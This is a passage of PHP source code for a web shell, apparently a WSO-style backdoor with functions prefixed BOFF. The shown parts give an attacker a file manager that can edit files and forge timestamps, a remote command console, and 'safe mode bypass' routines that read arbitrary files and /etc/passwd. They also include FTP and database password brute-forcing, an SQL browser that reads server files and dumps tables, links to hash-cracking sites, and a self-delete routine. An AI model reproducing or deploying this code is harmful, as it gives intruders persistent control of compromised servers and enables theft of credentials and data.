'Base64 decode' => 'base64_decode',
'Url encode' => 'urlencode',
'Url decode' => 'urldecode',
'Full urlencode' => 'full_urlencode',
'md5 hash' => 'md5',
'sha1 hash' => 'sha1',
'crypt' => 'crypt',
'CRC32' => 'crc32',
'ASCII to HEX' => 'ascii2hex',
'HEX to ASCII' => 'hex2ascii',
'HEX to DEC' => 'hexdec',
'HEX to BIN' => 'hex2bin',
'DEC to HEX' => 'dechex',
'DEC to BIN' => 'decbin',
'BIN to HEX' => 'binhex',
'BIN to DEC' => 'bindec',
'String to lower case' => 'strtolower',
'String to upper case' => 'strtoupper',
'Htmlspecialchars' => 'htmlspecialchars',
'String length' => 'strlen',
);
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
if(in_array($_POST['p1'], $stringTools))
echo $_POST['p1']($_POST['p2']);
$temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"
\'")."';
";
echo strlen($temp), "
", $temp;
exit;
}
BOFFHeader();
echo '<h1>String conversions</h1><div class=content>';
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
foreach($stringTools as $k => $v)
echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
if(!empty($_POST['p1'])) {
if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
}
echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
<tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
<tr><td></td><td><input type='submit' value='>>'></td></tr>
</table></form>";
function BOFFRecursiveGlob($path) {
if(substr($path, -1) != '/')
$path.='/';
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
if(is_array($paths)&&@count($paths)) {
foreach($paths as $item) {
if(@is_dir($item)){
if($path!=$item)
BOFFRecursiveGlob($item);
} else {
if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
}
}
}
}
if(@$_POST['p3'])
BOFFRecursiveGlob($_POST['c']);
echo "</div><br><h1>Search for hash:</h1><div class=content>
<form method='post' target='_blank' name='hf'>
<input type='text' name='hash' style='width:200px;'><br>
<input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
<input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
<input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
<input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
</form></div>";
BOFFFooter();
}
function actionFilesTools() {
if( isset($_POST['p1']) )
$_POST['p1'] = urldecode($_POST['p1']);
if(@$_POST['p2']=='download') {
if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
if (function_exists("mime_content_type")) {
$type = @mime_content_type($_POST['p1']);
header("Content-Type: " . $type);
} else
header("Content-Type: application/octet-stream");
$fp = @fopen($_POST['p1'], "r");
if($fp) {
while(!@feof($fp))
echo @fread($fp, 1024);
fclose($fp);
}
}exit;
}
if( @$_POST['p2'] == 'mkfile' ) {
if(!file_exists($_POST['p1'])) {
$fp = @fopen($_POST['p1'], 'w');
if($fp) {
$_POST['p2'] = "edit";
fclose($fp);
}
}
}
BOFFHeader();
echo '<h1>File tools</h1><div class=content>';
if( !file_exists(@$_POST['p1']) ) {
echo 'File not exists';
BOFFFooter();
return;
}
$uid = @posix_getpwuid(@fileowner($_POST['p1']));
if(!$uid) {
$uid['name'] = @fileowner($_POST['p1']);
$gid['name'] = @filegroup($_POST['p1']);
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?BOFFViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.BOFFPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
if( empty($_POST['p2']) )
$_POST['p2'] = 'view';
if( is_file($_POST['p1']) )
$m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
else
$m = array('Chmod', 'Rename', 'Touch');
foreach($m as $v)
echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
echo '<br><br>';
switch($_POST['p2']) {
case 'view':
echo '<pre class=ml1>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</pre>';
break;
case 'highlight':
if( @is_readable($_POST['p1']) ) {
echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['p1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
}
break;
case 'chmod':
if( !empty($_POST['p3']) ) {
$perms = 0;
for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
if(!@chmod($_POST['p1'], $perms))
echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
break;
case 'edit':
if( !is_writable($_POST['p1'])) {
echo 'File isn\'t writeable';
break;
}
if( !empty($_POST['p3']) ) {
$time = @filemtime($_POST['p1']);
$_POST['p3'] = substr($_POST['p3'],1);
$fp = @fopen($_POST['p1'],"w");
if($fp) {
@fwrite($fp,$_POST['p3']);
@fclose($fp);
echo 'Saved!<br><script>p3_="";</script>';
@touch($_POST['p1'],$time,$time);
}
}
echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
$fp = @fopen($_POST['p1'], 'r');
if($fp) {
while( !@feof($fp) )
echo htmlspecialchars(@fread($fp, 1024));
@fclose($fp);
}
echo '</textarea><input type=submit value=">>"></form>';
break;
case 'hexdump':
$c = @file_get_contents($_POST['p1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
$h[1] .= '<br>';
$h[2] .= "
";
}
}
echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
break;
case 'rename':
if( !empty($_POST['p3']) ) {
if(!@rename($_POST['p1'], $_POST['p3']))
echo 'Can\'t rename!<br>';
else
die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
}
echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
break;
case 'touch':
if( !empty($_POST['p3']) ) {
$time = strtotime($_POST['p3']);
if($time) {
if(!touch($_POST['p1'],$time,$time))
echo 'Fail!';
else
echo 'Touched!';
} else echo 'Bad time format!';
}
clearstatcache();
echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
break;
}
echo '</div>';
BOFFFooter();
}
function actionSafeMode() {
$temp='';
ob_start();
switch($_POST['p1']) {
case 1:
$temp=@tempnam($test, 'cx');
if(@copy("compress.zlib://".$_POST['p2'], $temp)){
echo @file_get_contents($temp);
unlink($temp);
} else
echo 'Sorry... Can\'t open file';
break;
case 2:
$files = glob($_POST['p2'].'*');
if( is_array($files) )
foreach ($files as $filename)
echo $filename."
";
break;
case 3:
$ch = curl_init("file://".$_POST['p2']."".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
curl_exec($ch);
break;
case 4:
ini_restore("safe_mode");
ini_restore("open_basedir");
include($_POST['p2']);
break;
case 5:
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
echo join(':',$uid)."
";
}
break;
}
$temp = ob_get_clean();
BOFFHeader();
echo '<h1>Safe mode bypass</h1><div class=content>';
echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if($temp)
echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
echo '</div>';
BOFFFooter();
}
function actionConsole() {
if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
$_POST['p1'] .= ' 2>&1';
} elseif(!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
ob_start();
echo "d.cf.cmd.value='';
";
$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".BOFFEx($_POST['p1']),"
\'"));
if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
if(@chdir($match[1])) {
$GLOBALS['cwd'] = @getcwd();
echo "c_='".$GLOBALS['cwd']."';";
}
}
echo "d.cf.output.value+='".$temp."';";
echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
$temp = ob_get_clean();
echo strlen($temp), "
", $temp;
exit;
}
BOFFHeader();
echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
var n = (window.Event) ? e.which : e.keyCode;
if(n == 38) {
cur--;
if(cur>=0)
document.cf.cmd.value = cmds[cur];
else
cur++;
} else if(n == 40) {
cur++;
if(cur < cmds.length)
document.cf.cmd.value = cmds[cur];
else
cur--;
}
}
function add(cmd) {
cmds.pop();
cmds.push(cmd);
cmds.push('');
cur = cmds.length-1;
}
</script>";
echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
foreach($GLOBALS['aliases'] as $n => $v) {
if($v == '') {
echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
continue;
}
echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
}
if(empty($_POST['ajax'])&&!empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
if(!empty($_POST['p1'])) {
echo htmlspecialchars("$ ".$_POST['p1']."
".BOFFEx($_POST['p1']));
}
echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
echo '</form></div><script>d.cf.cmd.focus();</script>';
BOFFFooter();
}
function actionLogout() {
session_destroy();
die('bye!');
}
function actionSelfRemove() {
if($_POST['p1'] == 'yes')
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
die('Shell has been removed');
else
echo 'unlink error!';
if($_POST['p1'] != 'yes')
BOFFHeader();
echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
BOFFFooter();
}
function actionBruteforce() {
BOFFHeader();
if( isset($_POST['proto']) ) {
echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
if( $_POST['proto'] == 'ftp' ) {
function bruteForce($ip,$port,$login,$pass) {
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
} elseif( $_POST['proto'] == 'mysql' ) {
function bruteForce($ip,$port,$login,$pass) {
$res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
@mysql_close($res);
return $res;
}
} elseif( $_POST['proto'] == 'pgsql' ) {
function bruteForce($ip,$port,$login,$pass) {
$str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_POST['server']);
if($_POST['type'] == 1) {
$temp = @file('/etc/passwd');
if( is_array($temp) )
foreach($temp as $line) {
$line = explode(":", $line);
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
}
if(@$_POST['reverse']) {
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
$success++;
echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
}
}
}
} elseif($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if( is_array($temp) )
foreach($temp as $line) {
$line = trim($line);
++$attempts;
if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
$success++;
echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
}
}
}
echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
}
echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
.'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
.'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
.'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
.'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
.'<span>Server:port</span></td>'
.'<td><input type=text name=server value="127.0.0.1"></td></tr>'
.'<tr><td><span>Brute type</span></td>'
.'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
.'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
.'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
.'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
.'<td><input type=text name=login value="root"></td></tr>'
.'<tr><td><span>Dictionary</span></td>'
.'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
.'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
echo '</div><br>';
BOFFFooter();
}
function actionSql() {
class DbClass {
var $type;
var $link;
var $res;
function DbClass($type) {
$this->type = $type;
}
function connect($host, $user, $pass, $dbname){
switch($this->type) {
case 'mysql':
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
break;
case 'pgsql':
$host = explode(':', $host);
if(!$host[1]) $host[1]=5432;
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
break;
}
return false;
}
function selectdb($db) {
switch($this->type) {
case 'mysql':
if (@mysql_select_db($db))return true;
break;
}
return false;
}
function query($str) {
switch($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
break;
case 'pgsql':
return $this->res = @pg_query($this->link,$str);
break;
}
return false;
}
function fetch() {
$res = func_num_args()?func_get_arg(0):$this->res;
switch($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
break;
case 'pgsql':
return @pg_fetch_assoc($res);
break;
}
return false;
}
function listDbs() {
switch($this->type) {
case 'mysql':
return $this->query("SHOW databases");
break;
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
break;
}
return false;
}
function listTables() {
switch($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
break;
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
break;
}
return false;
}
function error() {
switch($this->type) {
case 'mysql':
return @mysql_error();
break;
case 'pgsql':
return @pg_last_error();
break;
}
return false;
}
function setCharset($str) {
switch($this->type) {
case 'mysql':
if(function_exists('mysql_set_charset'))
return @mysql_set_charset($str, $this->link);
else
$this->query('SET CHARSET '.$str);
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
break;
}
return false;
}
function loadFile($str) {
switch($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
break;
case 'pgsql':
$this->query("CREATE TABLE BOFF2(file text);COPY BOFF2 FROM '".addslashes($str)."';select file from BOFF2;");
$r=array();
while($i=$this->fetch())
$r[] = $i['file'];
$this->query('drop table BOFF2');
return array('file'=>implode("
",$r));
break;
}
return false;
}
function dump($table, $fp = false) {
switch($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
$create = mysql_fetch_array($res);
$sql = $create[1].";
";
if($fp) fwrite($fp, $sql); else echo($sql);
$this->query('SELECT * FROM `'.$table.'`');
$head = true;
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
if($v == null)
$item[$k] = "NULL";
elseif(is_numeric($v))
$item[$k] = $v;
else
$item[$k] = "'".@mysql_real_escape_string($v)."'";
$columns[] = "`".$k."`";
}
if($head) {
$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES
(".implode(", ", $item).')';
$head = false;
} else
$sql = "
,(".implode(", ", $item).')';
if($fp) fwrite($fp, $sql); else echo($sql);
}
if(!$head)
if($fp) fwrite($fp, ";
"); else echo(";
");
break;
case 'pgsql':
$this->query('SELECT * FROM '.$table);
while($item = $this->fetch()) {
$columns = array();
foreach($item as $k=>$v) {
$item[$k] = "'".addslashes($v)."'";
$columns[] = $k;
}
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
if($fp) fwrite($fp, $sql); else echo($sql);
}
break;
}
return false;
}
};
$db = new DbClass($_POST['type']);
if(@$_POST['p2']=='download') {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
if(empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach($_POST['tbl'] as $v)
$db->dump($v);
exit;
} elseif($fp = @fopen($_POST['file'], 'w')) {
foreach($_POST['tbl'] as $v)
$db->dump($v, $fp);
fclose($fp);
unset($_POST['p2']);
} else
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
BOFFHeader();
echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if(isset($_POST['sql_host'])){
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch($_POST['charset']) {
case "Windows-1251": $db->setCharset('cp1251'); break;
case "UTF-8": $db->setCharset('utf8'); break;
case "KOI8-R": $db->setCharset('koi8r'); break;
case "KOI8-U": $db->setCharset('koi8u'); break;
case "cp866": $db->setCharset('cp866'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=''></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
}
echo '</select>';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
</tr>
</table>
<script>
s_db='".@addslashes($_POST['sql_base'])."';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.p1) f.p1.value='';
if(f.p2) f.p2.value='';
if(f.p3) f.p3.value='';
}
}
function st(t,l) {
d.sf.p1.value = 'select';
d.sf.p2.value = t;
if(l && d.sf.p3) d.sf.p3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements['tbl[]'].length;++i)
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST['sql_base'])){
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST['sql_count']))
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if(@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
echo " of $pages";
if($_POST['p3'] > 1)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
if($_POST['p3'] < $pages)
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
$_POST['p3']--;
if($_POST['type']=='pgsql')
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
echo "<br><br>";
}
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if($db->res !== false) {
$title = false;
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo '<tr>';
foreach($item as $key => $value)
echo '<th>'.$key.'</th>';
reset($item);
$title=true;
echo '</tr><tr>';
$line = 2;
}
echo '<tr class="l'.$line.'">';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo '<td><i>null</i></td>';
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
}
echo '</tr>';
}
echo '</table>';
} else {
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
echo htmlspecialchars($_POST['p2']);
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST['type']=='mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if($db->fetch())
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
}
if(@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo '</div>';
BOFFFooter();
}
function actionNetwork() {
BOFFHeader();
